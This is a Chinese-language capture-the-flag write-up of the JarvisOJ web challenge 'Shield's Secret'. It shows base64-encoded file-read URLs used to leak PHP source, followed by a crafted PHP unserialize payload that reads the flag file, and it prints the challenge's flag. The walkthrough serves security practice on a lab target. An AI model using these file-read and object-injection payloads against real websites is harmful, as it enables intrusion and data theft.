2019-09-30 JarvisOj 神盾局的秘密 WriteUp

开局一张图,内容全靠编
第一反应查看源代码

<pre id="line1"><img src="showimg.php?img=c2hpZWxkLmpwZw==" width="100%"/></pre>

明白了通过参数来访问文件,参数值特征为base64,也成功解码得到shield.jpg
目前手头没有已知可以看的文件,能够直接以http://web.jarvisoj.com:32768/访问说明可能存在index文件,showing.php表明了网站采用php架构,猜测文件名为index.php,将其base64编码后,构造出URL

http://web.jarvisoj.com:32768/showimg.php?img=aW5kZXgucGhw==

查看页面源代码,发现index.php的源码已经暴露,里面还require了shield.php,那我们再使用上面的方法,shield.php的源码也暴露了,得到flag所在位置:pctf.php,尝试故技重施直接得到flag,失败。发现shield.php中含有了类的结构,回到index.php,发现unserialize函数,而且根据代码逻辑,序列化字符串可以由函数传递,自己写一个PHP代码,运行,生成字符串payload

O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

URL payload

http://web.jarvisoj.com:32768/?class=O:6:"Shield":1:{s:4:"file";s:8:"pctf.php";}

查看源代码,发现成功获取flag

PCTF{W3lcome_To_Shi3ld_secret_Ar3a}

©著作权归作者所有,转载或内容合作请联系作者
平台声明:文章内容(如有图片或视频亦包括在内)由作者上传并发布,文章内容仅代表作者本人观点,简书系信息发布平台,仅提供信息存储服务。

推荐阅读更多精彩内容